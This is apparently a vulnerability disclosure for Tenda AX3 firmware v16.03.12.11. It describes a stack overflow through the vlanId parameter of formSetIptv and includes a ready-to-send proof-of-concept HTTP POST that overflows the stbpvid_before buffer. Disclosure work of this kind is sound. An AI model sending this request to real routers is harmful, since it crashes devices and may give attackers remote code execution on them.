Information

Vulnerability Details

Tenda AX3 firmware v16.03.12.11 contains a stack overflow in formSetIptv via the vlanId parameter, which can cause memory corruption and enable remote code execution.

The vulnerable function reads the vlanId parameter from an HTTP POST using websGetVar and stores the retrieved string in the local variable __s1_01.

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Then __s1_01 is passed as an argument to the function setIptvStb when __s1 is 0x1.

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Inside the function, the value of __s1_01 is then persisted via SetValue under the key adv.iptv.stbpvidwhen __s1_02 is not "none".

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On a subsequent call to formSetIptv, the implementation invokes GetValue to retrieve the value and copies it into the stbpvid_before buffer. An attacker-controlled vlanId can overflow stbpvid_before, leading to memory corruption that can allow a remote attacker to execute arbitrary code.

PoC

POST /goform/SetIPTVCfg HTTP/1.1
Host: None
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 842
Content-Type: application/x-www-form-urlencoded

vlanId=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%EE%BE%AD%DE&stbEn=1&iptvType=1

Send this poc again to trigger overflow.

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